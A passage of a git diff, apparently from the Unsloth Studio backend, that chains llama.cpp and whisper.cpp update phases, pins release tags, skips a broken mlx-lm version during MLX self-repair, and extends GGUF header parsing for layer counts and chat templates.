-                    _job["progress"] = max(_job.get("progress") or 0.0, fraction)
-            returncode = proc.wait()
-        finally:
-            watchdog.cancel()
-        if timed_out.is_set():
-            raise RuntimeError(f"installer timed out after {_INSTALL_TIMEOUT_SECONDS}s")
-        if returncode != 0:
-            tail = "".join(tail_lines).strip()[-1500:]
-            raise RuntimeError(f"installer exited {returncode}: {tail or 'no output'}")
 
         # Drop stale caches so the banner re-checks the swapped marker.
         # If GitHub is offline, latest stays unknown and the banner fails open.
@@ -563,29 +477,28 @@ def _run_update(install_dir: Path, repo: str, asset: Optional[str], script: Path
         new_marker = read_install_marker(_find_binary())
         new_tag = (new_marker or {}).get("release_tag") or (new_marker or {}).get("tag")
 
-        with _job_lock:
-            _job.update(
-                state = _JOB_SUCCESS,
-                message = (
-                    f"Updated llama.cpp to {new_tag}."
-                    + (" Reload your model to use it." if model_was_active else "")
-                ),
-                to_tag = new_tag,
-                reload_required = model_was_active,
-                error = None,
-                progress = 1.0,
-                finished_at = _utcnow(),
-            )
+        # Pinned install must land on that exact release; a same-repo mismatch
+        # means the pin was ignored (Vulkan/Intel reroute to another repo is fine).
+        if (
+            pin_release_tag
+            and new_tag
+            and (new_marker or {}).get("published_repo") == repo
+            and new_tag != pin_release_tag
+        ):
+            raise RuntimeError(f"pinned release {pin_release_tag} but installer produced {new_tag}")
+
         logger.info("llama update: success", to_tag = new_tag)
+        return {
+            "to_tag": new_tag,
+            "reload_required": model_was_active,
+            "message": (
+                f"Updated llama.cpp to {new_tag}."
+                + (" Reload your model to use it." if model_was_active else "")
+            ),
+        }
     except Exception as exc:
         logger.warning("llama update: failed", error = str(exc))
-        with _job_lock:
-            _job.update(
-                state = _JOB_ERROR,
-                message = "llama.cpp update failed.",
-                error = str(exc),
-                finished_at = _utcnow(),
-            )
+        raise
     finally:
         # Always clear maintenance state.
         if backend is not None:
@@ -595,55 +508,71 @@ def _run_update(install_dir: Path, repo: str, asset: Optional[str], script: Path
                 pass
 
 
-def start_update() -> dict:
-    """Kick off a background update. Idempotent: a second call while one is
-    running returns the in-flight job rather than starting another."""
+# Combined-job progress split when both phases run (download sizes: the llama
+# bundle dwarfs the whisper one); normalized to 0..1 when a phase is skipped.
+_LLAMA_PHASE_WEIGHT = 0.7
+_WHISPER_PHASE_WEIGHT = 0.3
+
+
+def _plan_llama_phase() -> dict:
+    """Decide how the llama phase of a combined update runs. Returns {"spec"}
+    when llama should install, else {"skip_reason", "refusal"}: skip_reason
+    marks the phase skipped inside a chained job, refusal is the started=False
+    response when the whisper phase has nothing to run either."""
     binary = _find_binary()
     # Refuse to update a --with-llama-cpp-dir local link: installing a prebuilt
     # here would write through the link into the user's own checkout (or fail)
     # and silently drop the link the flag created.
     if _active_install_is_local_link(binary):
         return {
-            "started": False,
-            "reason": "local_link",
-            "message": (
-                "llama.cpp is a local directory linked with --with-llama-cpp-dir; "
-                "Studio won't replace it. Update your own llama.cpp checkout instead."
-            ),
-            "job": get_update_status()["job"],
+            "skip_reason": "local_link",
+            "refusal": {
+                "started": False,
+                "reason": "local_link",
+                "message": (
+                    "llama.cpp is a local directory linked with --with-llama-cpp-dir; "
+                    "Unsloth won't replace it. Update your own llama.cpp checkout instead."
+                ),
+            },
         }
     marker = read_install_marker(binary)
     script = _installer_script()
     if script is None:
         return {
-            "started": False,
-            "reason": "installer_missing",
-            "message": "install_llama_prebuilt.py could not be located.",
-            "job": get_update_status()["job"],
+            "skip_reason": "installer_missing",
+            "refusal": {
+                "started": False,
+                "reason": "installer_missing",
+                "message": "install_llama_prebuilt.py could not be located.",
+            },
         }
 
-    # A job already in flight wins over any freshness re-check below (and skips
-    # its network call). The final lock block re-checks to close the TOCTOU.
-    with _job_lock:
-        if _job["state"] == _JOB_RUNNING:
-            return {"started": False, "reason": "already_running", "job": dict(_job)}
-
     if marker:
         # Mirror the detection guard: a direct POST or a stale banner must not
         # start an install when the latest is not actually newer (force a fresh
         # check so a stale 24h cache can't wrongly block a real update either).
-        status = get_update_status(force_refresh = True)
+        status = _llama_only_status(force_refresh = True)
         if not status.get("update_available"):
             return {
-                "started": False,
-                "reason": "up_to_date",
-                "message": "The installed llama.cpp build is already at the latest prebuilt.",
-                "job": status["job"],
+                "skip_reason": "up_to_date",
+                "refusal": {
+                    "started": False,
+                    "reason": "up_to_date",
+                    "message": "The installed llama.cpp build is already at the latest prebuilt.",
+                },
             }
         install_dir = _install_dir_for(binary)
         repo = marker.get("published_repo") or DEFAULT_PUBLISHED_REPO
         from_tag = marker.get("tag") or marker.get("release_tag")
         asset = marker.get("asset")
+        force_cpu = bool(marker.get("force_cpu"))
+        # Install exactly the release the banner offered: the installer's own
+        # "latest" is commit-date ordered and can lag the published_at pick
+        # above, reinstalling the current build in a loop (the #6219 class).
+        # Not on macOS, which needs the older-release walk-back a pin disables
+        # (skipping too-new prebuilts); elsewhere an unusable latest now fails
+        # the job loudly (retryable) instead of walking back.
+        pin_release_tag = None if sys.platform == "darwin" else status.get("latest_tag")
     else:
         # Source build / custom path: only proceed when the same detection logic
         # would offer the update (prebuilt exists, install is behind, root is
@@ -651,54 +580,151 @@ def start_update() -> dict:
         src = _source_build_status(binary, force_refresh = True) if binary else None
         if src is None:
             return {
-                "started": False,
-                "reason": "no_prebuilt_available",
-                "message": (
-                    "No official llama.cpp prebuilt is available for this host, "
-                    "so the source build cannot be swapped automatically."
-                ),
-                "job": get_update_status()["job"],
+                "skip_reason": "no_prebuilt_available",
+                "refusal": {
+                    "started": False,
+                    "reason": "no_prebuilt_available",
+                    "message": (
+                        "No official llama.cpp prebuilt is available for this host, "
+                        "so the source build cannot be swapped automatically."
+                    ),
+                },
             }
         if not src.get("update_available"):
             return {
-                "started": False,
-                "reason": "up_to_date",
-                "message": "The installed llama.cpp build is already at or newer than the latest prebuilt.",
-                "job": get_update_status()["job"],
+                "skip_reason": "up_to_date",
+                "refusal": {
+                    "started": False,
+                    "reason": "up_to_date",
+                    "message": (
+                        "The installed llama.cpp build is already at or newer than the "
+                        "latest prebuilt."
+                    ),
+                },
             }
         res = _resolve_prebuilt_for_host()
         install_dir = _llama_install_root(binary)
         repo = (res or {}).get("repo") or DEFAULT_PUBLISHED_REPO
         from_tag = None
         asset = (res or {}).get("asset")
+        # Source builds carry no forced-CPU marker, so nothing to preserve here.
+        force_cpu = False
+        # No pin: source-build detection resolves via --resolve-prebuilt latest,
+        # the same resolver the unpinned apply uses, so the two already agree.
+        pin_release_tag = None
 
     if install_dir is None:
         return {
-            "started": False,
-            "reason": "no_install_dir",
-            "message": "Could not determine the llama.cpp install directory.",
-            "job": get_update_status()["job"],
+            "skip_reason": "no_install_dir",
+            "refusal": {
+                "started": False,
+                "reason": "no_install_dir",
+                "message": "Could not determine the llama.cpp install directory.",
+            },
         }
+    return {
+        "spec": {
+            "install_dir": install_dir,
+            "repo": repo,
+            "asset": asset,
+            "script": script,
+            "pin_release_tag": pin_release_tag,
+            "from_tag": from_tag,
+            "force_cpu": force_cpu,
+        }
+    }
+
+
+def start_update() -> dict:
+    """Kick off a background update job. The job chains the llama phase (the
+    existing flow) with a whisper phase that runs only when whisper is actually
+    behind; either phase no-ops cleanly when its component is current or
+    unmanaged. Idempotent: a second call while one is running returns the
+    in-flight job rather than starting another."""
+    # A job already in flight wins over any freshness re-check below (and skips
+    # its network calls). The final lock block re-checks to close the TOCTOU.
+    with _job_lock:
+        if _job["state"] == _JOB_RUNNING:
+            return {"started": False, "reason": "already_running", "job": dict(_job)}
+
+    llama_plan = _plan_llama_phase()
+    llama_spec = llama_plan.get("spec")
+    whisper_plan = _whisper_chain_status(
+        force_refresh = True,
+        paired_llama_will_update = llama_spec is not None,
+    )
+    whisper_spec = (whisper_plan or {}).get("phase")
+    if llama_spec is None and whisper_spec is None:
+        # Nothing to run in either phase: answer with the llama refusal so the
+        # existing reasons (local_link / up_to_date / ...) keep their meaning.
+        refusal = dict(llama_plan["refusal"])
+        with _job_lock:
+            refusal["job"] = dict(_job)
+        return refusal
+
+    whisper_run = None
+    if whisper_spec is not None:
+        from utils import whisper_cpp_update as _whisper
+        whisper_run = lambda set_progress: _whisper.run_chained_phase(whisper_spec, set_progress)
+
+    phases = [
+        {
+            "name": "llama",
+            "weight": _LLAMA_PHASE_WEIGHT,
+            "failure_message": "llama.cpp update failed.",
+            "skip_reason": llama_plan.get("skip_reason"),
+            "run": (
+                (
+                    lambda set_progress: _run_llama_phase(
+                        llama_spec["install_dir"],
+                        llama_spec["repo"],
+                        llama_spec["asset"],
+                        llama_spec["script"],
+                        llama_spec["pin_release_tag"],
+                        set_progress,
+                        force_cpu = llama_spec.get("force_cpu", False),
+                    )
+                )
+                if llama_spec
+                else None
+            ),
+        },
+        {
+            "name": "whisper",
+            "weight": _WHISPER_PHASE_WEIGHT,
+            "failure_message": "whisper.cpp update failed.",
+            # The sidecar reload is whisper-internal; it must not trip the
+            # job-level reload flag the chat frontend resyncs on.
+            "affects_job_reload": False,
+            "skip_reason": (whisper_plan or {}).get("skip_reason") or "unavailable",
+            "run": whisper_run,
+        },
+    ]
+    running = " + ".join(
+        name for name, spec in (("llama.cpp", llama_spec), ("whisper.cpp", whisper_spec)) if spec
+    )
 
     with _job_lock:
         if _job["state"] == _JOB_RUNNING:
             return {"started": False, "reason": "already_running", "job": dict(_job)}
         _job.update(
             state = _JOB_RUNNING,
-            message = "Downloading and installing the latest llama.cpp prebuilt...",
-            from_tag = from_tag,
+            message = f"Downloading and installing the latest {running} prebuilt...",
+            from_tag = (llama_spec or {}).get("from_tag"),
             to_tag = None,
             reload_required = None,
             error = None,
             progress = 0.0,
             started_at = _utcnow(),
             finished_at = None,
+            phases = None,
         )
         job_snapshot = dict(_job)
 
     thread = threading.Thread(
-        target = _run_update,
-        args = (install_dir, repo, asset, script),
+        target = _flow.run_chained_update,
+        args = (phases,),
+        kwargs = {"job": _job, "job_lock": _job_lock},
         name = "llama-cpp-update",
         daemon = True,
     )
@@ -708,15 +734,4 @@ def start_update() -> dict:
 
 def _reset_job_for_tests() -> None:
     """Test-only: return the job tracker to idle."""
-    with _job_lock:
-        _job.update(
-            state = _JOB_IDLE,
-            message = "",
-            from_tag = None,
-            to_tag = None,
-            reload_required = None,
-            error = None,
-            progress = None,
-            started_at = None,
-            finished_at = None,
-        )
+    _flow.reset_job(_job, _job_lock)
diff --git a/studio/backend/utils/mlx_repair.py b/studio/backend/utils/mlx_repair.py
index 520c11c3b1..4ea1ec62f5 100644
--- a/studio/backend/utils/mlx_repair.py
+++ b/studio/backend/utils/mlx_repair.py
@@ -3,7 +3,7 @@
 
 """Best-effort MLX self-heal for Apple Silicon.
 
-On macOS, Studio enables Train/Export only when the MLX training/export stack is
+On macOS, Unsloth enables Train/Export only when the MLX training/export stack is
 usable (see utils.hardware.hardware.detect_hardware -> CHAT_ONLY). MLX is pulled
 only transitively via unsloth-zoo, and a resolver backtrack (mlx-vlm ->
 transformers>=5 vs the single-env transformers pin) can silently drop it, leaving
@@ -13,7 +13,7 @@ a background thread, then re-detects so the gate re-opens without a manual
 
 The install mirrors the main Apple Silicon installer (install_python_stack.py):
 it points UV_OVERRIDE at overrides-darwin-arm64.txt so the resolver keeps the
-Studio transformers pin AND installs a current mlx-vlm, and it requires the same
+Unsloth transformers pin AND installs a current mlx-vlm, and it requires the same
 minimum versions unsloth-zoo declares so a backtracked old mlx-vlm (which still
 imports but breaks VLM Train/Export) is never accepted as healthy.
 
@@ -45,9 +45,21 @@ DISABLE_ENV_VAR = "UNSLOTH_DISABLE_MLX_AUTOREPAIR"
 # deps). mlx-vlm especially must be >=0.4.4: an older one still imports but
 # breaks VLM Train/Export, so installing it would wrongly clear chat-only.
 _MLX_MIN_VERSIONS = {"mlx": "0.22.0", "mlx-lm": "0.22.0", "mlx-vlm": "0.4.4"}
+# mlx-lm 0.31.3 regressed QK-norm archs (gemma4 / qwen3_5): strict load_weights
+# rejects q_norm/k_norm, so a self-heal must not pull it. mlx-lm #1242.
+_MLX_BAD_VERSIONS = {"mlx-lm": ("0.31.3",)}
 _MLX_PACKAGE_NAMES = tuple(_MLX_MIN_VERSIONS)
 _MLX_RUNTIME_IMPORTS = ("mlx.core", "mlx_lm", "mlx_lm.sample_utils", "mlx_vlm")
-MLX_PACKAGES = tuple(f"{name}>={version}" for name, version in _MLX_MIN_VERSIONS.items())
+
+
+def _mlx_spec(name: str, version: str) -> str:
+    spec = f"{name}>={version}"
+    for bad in _MLX_BAD_VERSIONS.get(name, ()):
+        spec += f",!={bad}"
+    return spec
+
+
+MLX_PACKAGES = tuple(_mlx_spec(name, version) for name, version in _MLX_MIN_VERSIONS.items())
 _MLX_REINSTALL_ARGS = tuple(
     arg for name in _MLX_PACKAGE_NAMES for arg in ("--reinstall-package", name)
 )
@@ -57,11 +69,11 @@ _MLX_REINSTALL_ARGS = tuple(
 # reject anything. mlx/mlx-metal ship wheels only (no sdist on PyPI) and
 # mlx-lm/mlx-vlm publish py3-none-any wheels, so requiring wheels does not break a
 # healthy self-heal; if a wheel is genuinely unavailable the install fails and
-# Studio stays chat-only (the existing safe fallback) until `unsloth studio update`.
+# Unsloth stays chat-only (the existing safe fallback) until `unsloth studio update`.
 _ONLY_BINARY_ARG = "--only-binary=:all:"
 # Allowlist of environment variables forwarded to the install subprocess. The
 # self-heal runs without confirmation on the default startup path, so it must not
-# hand resolver/build code the full Studio environment. Everything outside this
+# hand resolver/build code the full Unsloth environment. Everything outside this
 # set is dropped, which excludes three dangerous classes by construction:
 #   * secrets (HF_TOKEN, AWS_*, WANDB_API_KEY, ...) that a malicious wheel/sdist
 #     build hook would otherwise read straight out of os.environ;
@@ -140,7 +152,12 @@ def _mlx_versions_satisfy_minimums() -> bool:
         return False
     for name, minimum in _MLX_MIN_VERSIONS.items():
         try:
-            if Version(_dist_version(name)) < Version(minimum):
+            installed = Version(_dist_version(name))
+            if installed < Version(minimum):
+                return False
+            # A known-broken build counts as unsatisfied so the self-heal
+            # reinstalls a good one; Version compare matches 0.31.3(.0/+local).
+            if any(installed == Version(bad) for bad in _MLX_BAD_VERSIONS.get(name, ())):
                 return False
         except PackageNotFoundError:
             return False
@@ -190,13 +207,13 @@ def _mlx_install_env() -> dict[str, str]:
 
     The self-heal runs without confirmation on the default startup path, so it
     forwards only the variables uv genuinely needs (see _MLX_ENV_ALLOWLIST) instead
-    of the full Studio environment: secrets and package-source redirects in
+    of the full Unsloth environment: secrets and package-source redirects in
     os.environ are dropped so a malicious resolver-selected artifact cannot read
-    Studio secrets or be steered to a hostile index.
+    Unsloth secrets or be steered to a hostile index.
 
     Mirror the main installer (install_python_stack.py) by pointing UV_OVERRIDE at
     overrides-darwin-arm64.txt, which relaxes mlx-vlm/mlx-lm's transformers>=5
-    requirement to >=4.57.6. Without it, uv keeps the Studio transformers pin only
+    requirement to >=4.57.6. Without it, uv keeps the Unsloth transformers pin only
     by silently backtracking mlx-vlm to an old, unsupported version (uv honours
     UV_OVERRIDE; plain pip ignores it, so the transformers constraint below is the
     pip-path safety net). We set UV_OVERRIDE ourselves, so a poisoned one in the
@@ -217,17 +234,17 @@ def _mlx_install_env() -> dict[str, str]:
 def _transformers_constraint_args() -> tuple[list[str], str | None]:
     """Pin transformers to the running version for the mlx install.
 
-    The install must never upgrade transformers underneath a running Studio
+    The install must never upgrade transformers underneath a running Unsloth
     (the single-env install pins transformers==4.57.6). With UV_OVERRIDE set this
     is belt-and-suspenders; on the plain-pip path (no UV_OVERRIDE support) it is
     the actual guard -- the resolver either finds an mlx build compatible with the
-    pin or fails, leaving us chat-only rather than breaking Studio. Returns
+    pin or fails, leaving us chat-only rather than breaking Unsloth. Returns
     (pip args, temp file path to clean up).
 
     Read the version from installed metadata rather than `import transformers`:
     transformers can have valid metadata yet fail to import (e.g. an incompatible
     huggingface_hub), and in that case we still want to pin it so the mlx install
-    cannot quietly upgrade it out from under Studio."""
+    cannot quietly upgrade it out from under Unsloth."""
     from importlib.metadata import PackageNotFoundError, version as _dist_version
 
     try:
@@ -246,10 +263,10 @@ def attempt_mlx_repair(*, timeout: int = _REPAIR_TIMEOUT_S) -> bool:
     """Install a usable mlx/mlx-lm/mlx-vlm stack by name into the running venv.
     Best-effort; returns True iff the resulting stack meets unsloth-zoo's minimums
     (so a backtracked old mlx-vlm is rejected, not accepted). transformers is held
-    at its pinned version so the install can never upgrade it underneath Studio."""
+    at its pinned version so the install can never upgrade it underneath Unsloth."""
     # Prepare the constraint inside the try: this runs on a daemon thread, so an
     # exception here (e.g. tempfile.mkstemp failing on a full disk or bad TMPDIR)
-    # must leave Studio chat-only, not crash the background self-heal thread.
+    # must leave Unsloth chat-only, not crash the background self-heal thread.
     constraint_path = None
     try:
         constraint_args, constraint_path = _transformers_constraint_args()
@@ -262,7 +279,7 @@ def attempt_mlx_repair(*, timeout: int = _REPAIR_TIMEOUT_S) -> bool:
         )
         if cmd is None:
             logger.warning(
-                "MLX self-heal requires uv so Studio can apply dependency overrides; "
+                "MLX self-heal requires uv so Unsloth can apply dependency overrides; "
                 "staying chat-only. Run `unsloth studio update` to restore uv."
             )
             return False
diff --git a/studio/backend/utils/models/checkpoints.py b/studio/backend/utils/models/checkpoints.py
index 90e26d45d0..f2125ad034 100644
--- a/studio/backend/utils/models/checkpoints.py
+++ b/studio/backend/utils/models/checkpoints.py
@@ -37,7 +37,7 @@ def _checkpoint_sort_key(checkpoint_path: Path) -> tuple[int, int, str]:
 
 
 def _infer_base_model_from_history(checkpoint_dir: Path) -> Optional[str]:
-    """Best-effort base-model lookup using persisted Studio run metadata."""
+    """Best-effort base-model lookup using persisted Unsloth run metadata."""
     checkpoint_name = checkpoint_dir.name
     resolved_checkpoint_dir = str(checkpoint_dir.resolve())
 
@@ -248,7 +248,7 @@ def scan_checkpoints(
         # Sort by modification time (newest first)
         models.sort(key = lambda x: Path(x[1][0][1]).stat().st_mtime, reverse = True)
 
-        logger.info(f"Found {len(models)} training runs in {outputs_dir}")
+        logger.debug(f"Found {len(models)} training runs in {outputs_dir}")
         return models
 
     except Exception as e:
diff --git a/studio/backend/utils/models/gguf_metadata.py b/studio/backend/utils/models/gguf_metadata.py
index c24ec28e1d..749f2c9234 100644
--- a/studio/backend/utils/models/gguf_metadata.py
+++ b/studio/backend/utils/models/gguf_metadata.py
@@ -50,9 +50,15 @@ _CACHE_MAX_ENTRIES = 4096
 # keyed by (file cache key, wanted key). None = key absent / file unreadable.
 _BOOL_CACHE: Dict[Tuple[_CacheKey, str], Optional[bool]] = {}
 
-# Native training context length (``{arch}.context_length``). None = absent /
-# unreadable. Lets the UI show the real context ceiling before a model loads.
-_CONTEXT_CACHE: Dict[_CacheKey, Optional[int]] = {}
+_STRING_CACHE: Dict[Tuple[_CacheKey, str], Optional[str]] = {}
+
+# GGUF header dims for the staged/deferred-load UI: context_length, layer_count
+# (block_count), and moe_layer_count (block_count minus leading dense layers; 0
+# if not MoE). One cached pass fills all three so the staged sheet can size every
+# slider before the model loads. None = unreadable / not a GGUF. The native
+# training context length (``{arch}.context_length``) the UI shows before a model
+# loads is read from here via read_gguf_context_length.
+_DIMS_CACHE: Dict[_CacheKey, Optional[Dict[str, Optional[int]]]] = {}
 
 
 def _cache_key(path: str) -> Optional[_CacheKey]:
@@ -142,32 +148,45 @@ def _parse_gguf_header(path: str) -> Optional[Dict[str, str]]:
     return out
 
 
-def read_gguf_context_length(path: str) -> Optional[int]:
-    """Return the GGUF's native training context length (``{arch}.context_length``),
-    or ``None`` if missing/unreadable/not a GGUF. Cached by (path, mtime, size).
-    Lets the UI populate the context slider before the model is loaded."""
+def read_gguf_staged_dims(path: str) -> Optional[Dict[str, Optional[int]]]:
+    """GGUF header dims for the staged-load UI in one cached pass:
+    ``{"context_length", "layer_count", "moe_layer_count"}``. Each may be None
+    when absent (moe_layer_count is 0 for a dense model). Returns ``None`` if not
+    a GGUF / unreadable. Cached by (path, mtime, size). Lets the staged sheet size
+    the context, GPU-layers and MoE sliders before the model loads."""
     key = _cache_key(path)
     if key is None:
         return None
     with _CACHE_LOCK:
-        if key in _CONTEXT_CACHE:
-            return _CONTEXT_CACHE[key]
-    result = _parse_gguf_context_length(path)
+        if key in _DIMS_CACHE:
+            return _DIMS_CACHE[key]
+    result = _parse_gguf_staged_dims(path)
     with _CACHE_LOCK:
-        while len(_CONTEXT_CACHE) >= _CACHE_MAX_ENTRIES:
+        while len(_DIMS_CACHE) >= _CACHE_MAX_ENTRIES:
             try:
-                _CONTEXT_CACHE.pop(next(iter(_CONTEXT_CACHE)))
+                _DIMS_CACHE.pop(next(iter(_DIMS_CACHE)))
             except StopIteration:
                 break
-        _CONTEXT_CACHE[key] = result
+        _DIMS_CACHE[key] = result
     return result
 
 
-def _parse_gguf_context_length(path: str) -> Optional[int]:
-    # The context key is architecture-namespaced (``llama.context_length`` etc.),
-    # so we learn the key only after reading ``general.architecture``. GGUF writes
-    # general.* before arch.* keys, matching the loader's own parser.
-    ctx_key: Optional[str] = None
+def read_gguf_context_length(path: str) -> Optional[int]:
+    """Native training context length (``{arch}.context_length``), or ``None``.
+    Thin accessor over read_gguf_staged_dims."""
+    dims = read_gguf_staged_dims(path)
+    return dims["context_length"] if dims else None
+
+
+def _parse_gguf_arch_uints(path: str, wanted_suffixes: frozenset[str]) -> Optional[Dict[str, int]]:
+    """Walk a GGUF header once and return the requested architecture-namespaced
+    uint (vtype 4/10) keys, e.g. ``{"block_count": 32}``. Keys are
+    ``{arch}.<suffix>``; the arch is learned from ``general.architecture`` (GGUF
+    writes general.* before arch.* keys, matching the loader's own parser).
+    Returns ``None`` if not a GGUF / unreadable, else a dict (possibly empty or
+    partial when some keys are absent)."""
+    arch: Optional[str] = None
+    found: Dict[str, int] = {}
     try:
         with open(path, "rb") as f:
             head = f.read(24)
@@ -204,28 +223,68 @@ def _parse_gguf_context_length(path: str) -> Optional[int]:
                         sbytes = f.read(slen)
                         if len(sbytes) < slen:
                             break
-                        ctx_key = f"{sbytes.decode('utf-8', 'replace')}.context_length"
-                    elif ctx_key is not None and key == ctx_key and vtype in (4, 10):
+                        arch = sbytes.decode("utf-8", "replace")
+                    elif (
+                        arch is not None
+                        and vtype in (4, 10)
+                        and key.startswith(f"{arch}.")
+                        and key[len(arch) + 1 :] in wanted_suffixes
+                    ):
                         width = 4 if vtype == 4 else 8
                         n_bytes = f.read(width)
                         if len(n_bytes) < width:
                             break
-                        value = struct.unpack("<I" if vtype == 4 else "<Q", n_bytes)[0]
-                        # A real context length is positive; treat 0/garbage as
-                        # absent so the UI never builds a slider with max < min.
-                        return value if value > 0 else None
+                        found[key[len(arch) + 1 :]] = struct.unpack(
+                            "<I" if vtype == 4 else "<Q", n_bytes
+                        )[0]
+                        if len(found) == len(wanted_suffixes):
+                            break
                     else:
                         if not _skip_gguf_value(f, vtype):
                             break
                 except (struct.error, UnicodeDecodeError):
                     break
     except OSError as e:
-        logger.debug(f"read_gguf_context_length: cannot open {path}: {e}")
+        logger.debug(f"_parse_gguf_arch_uints: cannot open {path}: {e}")
         return None
     except Exception as e:
-        logger.debug(f"read_gguf_context_length: parse failure on {path}: {e}")
+        logger.debug(f"_parse_gguf_arch_uints: parse failure on {path}: {e}")
         return None
-    return None
+    return found
+
+
+def _parse_gguf_staged_dims(path: str) -> Optional[Dict[str, Optional[int]]]:
+    vals = _parse_gguf_arch_uints(
+        path,
+        frozenset(
+            {
+                "context_length",
+                "block_count",
+                "expert_count",
+                "leading_dense_block_count",
+            }
+        ),
+    )
+    if vals is None:
+        return None
+    ctx = vals.get("context_length")
+    block = vals.get("block_count")
+    # A real context/layer count is positive; treat 0/garbage as absent so the
+    # UI never builds a slider with max < min.
+    context_length = ctx if ctx and ctx > 0 else None
+    layer_count = block if block and block > 0 else None
+    # MoE layer count = block_count - leading dense layers, only when experts
+    # exist; else 0 (dense -> slider hidden). Mirrors n_moe_layers in
+    # core/inference/llama_cpp.py.
+    if not vals.get("expert_count") or not block:
+        moe_layer_count: Optional[int] = 0
+    else:
+        moe_layer_count = max(0, block - (vals.get("leading_dense_block_count") or 0))
+    return {
+        "context_length": context_length,
+        "layer_count": layer_count,
+        "moe_layer_count": moe_layer_count,
+    }
 
 
 # Strings (8) and arrays (9) are handled inline.
@@ -353,6 +412,83 @@ def _read_gguf_bool(path: str, wanted_key: str) -> Optional[bool]:
     return result
 
 
+def _parse_gguf_string(path: str, wanted_key: str) -> Optional[str]:
+    try:
+        with open(path, "rb") as f:
+            head = f.read(24)
+            if len(head) < 24:
+                return None
+            magic, _version, _tcount, kv_count = struct.unpack("<IIQQ", head)
+            if magic != _GGUF_MAGIC:
+                return None
+
+            for _ in range(kv_count):
+                try:
+                    klen_bytes = f.read(8)
+                    if len(klen_bytes) < 8:
+                        break
+                    klen = struct.unpack("<Q", klen_bytes)[0]
+                    if klen > 1 << 20:
+                        break
+                    kbytes = f.read(klen)
+                    if len(kbytes) < klen:
+                        break
+                    key = kbytes.decode("utf-8", "replace")
+                    vt_bytes = f.read(4)
+                    if len(vt_bytes) < 4:
+                        break
+                    vtype = struct.unpack("<I", vt_bytes)[0]
+
+                    if key == wanted_key and vtype == 8:
+                        slen_bytes = f.read(8)
+                        if len(slen_bytes) < 8:
+                            break
+                        slen = struct.unpack("<Q", slen_bytes)[0]
+                        if slen > 1 << 22:
+                            break
+                        sbytes = f.read(slen)
+                        if len(sbytes) < slen:
+                            break
+                        return sbytes.decode("utf-8", "replace")
+                    if not _skip_gguf_value(f, vtype):
+                        break
+                except (struct.error, UnicodeDecodeError):
+                    break
+    except OSError as e:
+        logger.debug(f"_parse_gguf_string: cannot open {path}: {e}")
+        return None
+    except Exception as e:
+        logger.debug(f"_parse_gguf_string: parse failure on {path}: {e}")
+        return None
+    return None
+
+
+def _read_gguf_string(path: str, wanted_key: str) -> Optional[str]:
+    fkey = _cache_key(path)
+    if fkey is None:
+        return None
+    ckey = (fkey, wanted_key)
+    with _CACHE_LOCK:
+        if ckey in _STRING_CACHE:
+            return _STRING_CACHE[ckey]
+    result = _parse_gguf_string(path, wanted_key)
+    with _CACHE_LOCK:
+        while len(_STRING_CACHE) >= _CACHE_MAX_ENTRIES:
+            try:
+                _STRING_CACHE.pop(next(iter(_STRING_CACHE)))
+            except StopIteration:
+                break
+        _STRING_CACHE[ckey] = result
+    return result
+
+
+def read_gguf_chat_template(path: str) -> Optional[str]:
+    template = _read_gguf_string(path, "tokenizer.chat_template")
+    if isinstance(template, str) and template.strip():
+        return template
+    return None
+
+
 def read_mmproj_audio_capability(path: str) -> Optional[bool]:
     """``clip.has_audio_encoder`` from an mmproj GGUF (e.g. Gemma 4's
     gemma4ua): ``True``/``False`` if present, ``None`` if absent/unreadable.
diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py
index 5d8458e5f0..4897f05ce4 100644
--- a/studio/backend/utils/models/model_config.py
+++ b/studio/backend/utils/models/model_config.py
@@ -37,6 +37,7 @@ import yaml
 
 
 from utils.native_path_leases import child_env_without_native_path_secret
+from utils.hf_cache_settings import active_hf_hub_cache, get_hf_cache_paths
 from utils.subprocess_compat import (
     windows_hidden_subprocess_kwargs as _windows_hidden_subprocess_kwargs,
 )
@@ -493,6 +494,7 @@ def load_model_config(
             trust_remote_code = trust_remote_code,
             token = token,
             local_files_only = local_files_only,
+            cache_dir = active_hf_hub_cache(),
         )
 
     if not use_auth:
@@ -503,6 +505,7 @@ def load_model_config(
                 trust_remote_code = trust_remote_code,
                 token = None,
                 local_files_only = local_files_only,
+                cache_dir = active_hf_hub_cache(),
             )
 
     # Default auth (cached tokens)
@@ -510,6 +513,7 @@ def load_model_config(
         model_name,
         trust_remote_code = trust_remote_code,
         local_files_only = local_files_only,
+        cache_dir = active_hf_hub_cache(),
     )
 
 
@@ -624,6 +628,7 @@ def _raw_config_has_vision_config(
                     filename = "config.json",
                     token = hf_token,
                     local_files_only = local_files_only,
+                    cache_dir = active_hf_hub_cache(),
                 )
             )
         config = json.loads(config_path.read_text())
@@ -698,6 +703,25 @@ if backend_dir not in sys.path:
 try:
     from transformers import AutoConfig
 
+    # Union the ACTIVE sidecar's registry into the inlined parent-process sets
+    # so architectures only the sidecar knows still classify correctly.
+    try:
+        from transformers.models.auto import modeling_auto as _ma
+        for _attr in ("MODEL_FOR_IMAGE_TEXT_TO_TEXT_MAPPING_NAMES",
+                      "MODEL_FOR_VISION_2_SEQ_MAPPING_NAMES"):
+            _d = dict(getattr(_ma, _attr, None) or {})
+            _VLM_MODEL_TYPES |= set(_d)
+            _VLM_CLASS_NAMES |= set(_d.values())
+        for _attr in ("MODEL_FOR_CTC_MAPPING_NAMES",
+                      "MODEL_FOR_SPEECH_SEQ_2_SEQ_MAPPING_NAMES",
+                      "MODEL_FOR_AUDIO_CLASSIFICATION_MAPPING_NAMES",
+                      "MODEL_FOR_TEXT_TO_WAVEFORM_MAPPING_NAMES",
+                      "MODEL_FOR_TEXT_TO_SPECTROGRAM_MAPPING_NAMES",
+                      "MODEL_FOR_AUDIO_XVECTOR_MAPPING_NAMES"):
+            _AUDIO_ONLY_MODEL_TYPES |= set(dict(getattr(_ma, _attr, None) or {}))
+    except Exception:
+        pass
+
     # Capability detection never executes model repo code.
     kwargs = {"trust_remote_code": False}
     if token:
@@ -727,13 +751,23 @@ def _is_vision_model_subprocess(model_name: str, hf_token: Optional[str] = None)
     """
     token_arg = hf_token or ""
 
+    # Latest-only architectures need the latest sidecar for AutoConfig;
+    # other tiers keep the 5.5 sidecar.
+    sidecar_dir = _VENV_T5_DIR
+    try:
+        from utils.transformers_version import _VENV_T5_LATEST_DIR, get_transformers_tier
+        if get_transformers_tier(model_name, hf_token, probe = False) == "latest":
+            sidecar_dir = _VENV_T5_LATEST_DIR
+    except Exception:
+        pass
+
